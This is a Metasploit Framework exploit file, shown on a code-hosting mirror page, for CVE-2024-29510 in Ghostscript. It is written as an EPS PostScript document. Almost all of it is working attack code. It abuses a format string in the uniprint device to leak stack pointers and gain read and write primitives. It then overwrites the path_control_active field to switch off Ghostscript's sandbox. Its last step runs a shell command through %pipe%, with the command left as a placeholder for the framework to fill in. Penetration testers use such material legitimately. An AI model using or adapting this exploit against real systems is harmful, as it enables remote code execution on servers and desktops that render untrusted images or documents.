Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/data/exploits/CVE-2024-29510/ghostscript_format_string.eps
57714 views
%!PS-Adobe-3.0 EPSF-3.0
%%Pages: 1
%%BoundingBox:   36   36  576  756
%%LanguageLevel: 1
%%EndComments
%%BeginProlog
%%EndProlog

% Make sure to restore the original `setpagedevice` from userdict or systemdict
% in case it has been redefined in another postscript file.
% This happens with ImageMagick for example.
userdict begin
systemdict /setpagedevice known
{
        /setpagedevice systemdict /setpagedevice get def
}
if
end

% ====== Configuration ======

% Offset of `gp_file *out` on the stack
/IdxOutPtr MSF_IDXOUTPTR  def


% ====== General Postscript utility functions ======

% from: https://github.com/scriptituk/pslutils/blob/master/string.ps
/cat {
	exch
	dup length 2 index length add string
	dup dup 5 2 roll
	copy length exch putinterval
} bind def

% from: https://rosettacode.org/wiki/Repeat_a_string#PostScript
/times {
  dup length dup    % rcount ostring olength olength
  4 3 roll          % ostring olength olength rcount
  mul dup string    % ostring olength flength fstring
  4 1 roll          % fstring ostring olength flength
  1 sub 0 3 1 roll  % fstring ostring 0 olength flength_minus_one 
  {                 % fstring ostring iter
    1 index 3 index % fstring ostring iter ostring fstring
    3 1 roll        % fstring ostring fstring iter ostring
    putinterval     % fstring ostring
  } for
  pop               % fstring
} def

% Printing helpers
% /println { print (\012) print } bind def
% /printnumln { =string cvs println } bind def

% ====== Start of exploit helper code ======

% Make a new tempfile but only save its path. This gives us a file path to read/write 
% which will exist as long as this script runs. We don't actually use the file object
% (hence `pop`) because we're passing the path to uniprint and reopening it ourselves.
/PathTempFile () (w+) .tempfile pop def


% Convert hex string "4142DEADBEEF" to padded little-endian byte string <EFBEADDE42410000>
% <HexStr> str_ptr_to_le_bytes <ByteStringLE>
/str_ptr_to_le_bytes {
	% Convert hex string argument to Postscript string
	% using <DEADBEEF> notation
	/ArgBytes exch (<) exch (>) cat cat token pop exch pop def

	% Prepare resulting string (`string` fills with zeros)
	/Res 8 string def

	% For every byte in the input
	0 1 ArgBytes length 1 sub {
		/i exch def

		% put byte at index (len(ArgBytes) - 1 - i)
		Res ArgBytes length 1 sub i sub ArgBytes i get put
	} for

	Res % return
} bind def


% <StackString> <FmtString> do_uniprint <LeakedData>
/do_uniprint {
	/FmtString exch def
	/StackString exch def

	% Select uniprint device with our payload
	<<
		/OutputFile PathTempFile
		/OutputDevice /uniprint
		/upColorModel /DeviceCMYKgenerate
		/upRendering /FSCMYK32
		/upOutputFormat /Pcl
		/upOutputWidth 99999
		/upWriteComponentCommands {(x)(x)(x)(x)} % This is required, just put bogus strings
		/upYMoveCommand FmtString
	>>
	setpagedevice

	% Manipulate the interpreter to put a recognizable piece of data on the stack
	(%%__) StackString cat .runstring

	% Produce a page with some content to trigger uniprint logic
	newpath 1 1 moveto 1 2 lineto 1 setlinewidth stroke
	showpage

	% Read back the written data
	/InFile PathTempFile (r) file def
	/LeakedData InFile 4096 string readstring pop def
	InFile closefile

	LeakedData % return
} bind def


% get_index_of_controllable_stack <Idx>
/get_index_of_controllable_stack {
	% A recognizable token on the stack to search for
	/SearchToken (ABABABAB) def

	% Construct "1:%lx,2:%lx,3:%lx,...,400:%lx,"
	/FmtString 0 string 1 1 400 { 3 string cvs (:%lx,) cat cat } for def

	SearchToken FmtString do_uniprint

	% Search for ABABABAB => 4241424142414241 (assume LE)
	(4241424142414241) search {
		exch pop
		exch pop
		% <pre> is left

		% Search for latest comma in <pre> to get e.g. `123:` as <post>
		(,) rsearch pop pop pop

		% Search for colon and use <pre> to get `123`
		(:) search pop exch pop exch pop

		% return as int
		cvi
	} {
		% (Could not find our data on the stack.. exiting) println
		quit
	} ifelse
} bind def


% <StackIdx> <AddrHex> write_to
/write_to {
	/AddrHex exch str_ptr_to_le_bytes def % address to write to
	/StackIdx exch def % stack idx to use

	/FmtString StackIdx 1 sub (%x) times (_%ln) cat def

	AddrHex FmtString do_uniprint

	pop % we don't care about formatted data
} bind def


% <StackIdx> read_ptr_at <PtrHexStr>
/read_ptr_at {
	/StackIdx exch def % stack idx to use

	/FmtString StackIdx 1 sub (%x) times (__%lx__) cat def

	() FmtString do_uniprint

	(__) search pop pop pop (__) search pop exch pop exch pop
} bind def


% num_bytes <= 9
% <StackIdx> <PtrHex> <NumBytes> read_dereferenced_bytes_at <ResultAsMultipliedInt>
/read_dereferenced_bytes_at {
	/NumBytes exch def
	/PtrHex exch def
	/PtrOct PtrHex str_ptr_to_le_bytes def % address to read from
	/StackIdx exch def % stack idx to use

	/FmtString StackIdx 1 sub (%x) times (__%.) NumBytes 1 string cvs cat (s__) cat cat def

	PtrOct FmtString do_uniprint

	/Data exch (__) search pop pop pop (__) search pop exch pop exch pop def

	% Check if we were able to read all bytes
	Data length NumBytes eq {
		% Yes we did! So return the integer conversion of the bytes
		0 % accumulator
		NumBytes 1 sub -1 0 {
			exch % <i> <accum>
			256 mul exch % <accum*256> <i>
			Data exch get % <accum*256> <Data[i]>
			add % <accum*256 + Data[i]>
		} for
	} {
		% We did not read all bytes, add a null byte and recurse on addr+1
		StackIdx 1 PtrHex ptr_add_offset NumBytes 1 sub read_dereferenced_bytes_at
		256 mul
	} ifelse
} bind def


% <StackIdx> <AddrHex> read_dereferenced_ptr_at <PtrHexStr>
/read_dereferenced_ptr_at {
	% Read 6 bytes
	6 read_dereferenced_bytes_at

	% Convert to hex string and return
	16 12 string cvrs
} bind def


% <Offset> <PtrHexStr> ptr_add_offset <PtrHexStr>
/ptr_add_offset {
	/PtrHexStr exch def % hex string pointer
	/Offset exch def % integer to add

	/PtrNum (16#) PtrHexStr cat cvi def

	% base 16, string length 12
	PtrNum Offset add 16 12 string cvrs
} bind def


% () println

% ====== Start of exploit logic ======


% Find out the index of the controllable bytes
% This is around the 200-300 range but differs per binary/version
/IdxStackControllable get_index_of_controllable_stack def
% (Found controllable stack region at index: ) print IdxStackControllable printnumln

% Exploit steps:
% - `gp_file *out` is at stack index `IdxOutPtr`.
%
% - Controllable data is at index `IdxStackControllable`.
%
% - We want to find out the address of:
%       out->memory->gs_lib_ctx->core->path_control_active
%   hence we need to dereference and add ofsets a few times
%
% - Once we have the address of `path_control_active`, we use
%   our write primitive to write an integer to its address - 3
%   such that the most significant bytes (zeros) of that integer
%   overwrite `path_control_active`, setting it to 0.
%
% - Finally, with `path_control_active` disabled, we can use
%   the built-in (normally sandboxed) `%pipe%` functionality to
%   run shell commands


/PtrOut IdxOutPtr read_ptr_at def

% (out: 0x) PtrOut cat println


% memory is at offset 144 in out
/PtrOutOffset 144 PtrOut ptr_add_offset def
/PtrMem IdxStackControllable PtrOutOffset read_dereferenced_ptr_at def

% (out->mem: 0x) PtrMem cat println

% gs_lib_ctx is at offset 208 in memory
/PtrMemOffset 208 PtrMem ptr_add_offset def
/PtrGsLibCtx IdxStackControllable PtrMemOffset read_dereferenced_ptr_at def

% (out->mem->gs_lib_ctx: 0x) PtrGsLibCtx cat println

% core is at offset 8 in gs_lib_ctx
/PtrGsLibCtxOffset 8 PtrGsLibCtx ptr_add_offset def
/PtrCore IdxStackControllable PtrGsLibCtxOffset read_dereferenced_ptr_at def

% (out->mem->gs_lib_ctx->core: 0x) PtrCore cat println

% path_control_active is at offset 156 in core
/PtrPathControlActive 156 PtrCore ptr_add_offset def

% (out->mem->gs_lib_ctx->core->path_control_active: 0x) PtrPathControlActive cat println

% Subtract a bit from the address to make sure we write a null over the field
/PtrTarget -3 PtrPathControlActive ptr_add_offset def

% And overwrite it!
IdxStackControllable PtrTarget write_to


% And now `path_control_active` == 0, so we can use %pipe%

(%pipe%MSF_PAYLOAD) (r) file

quit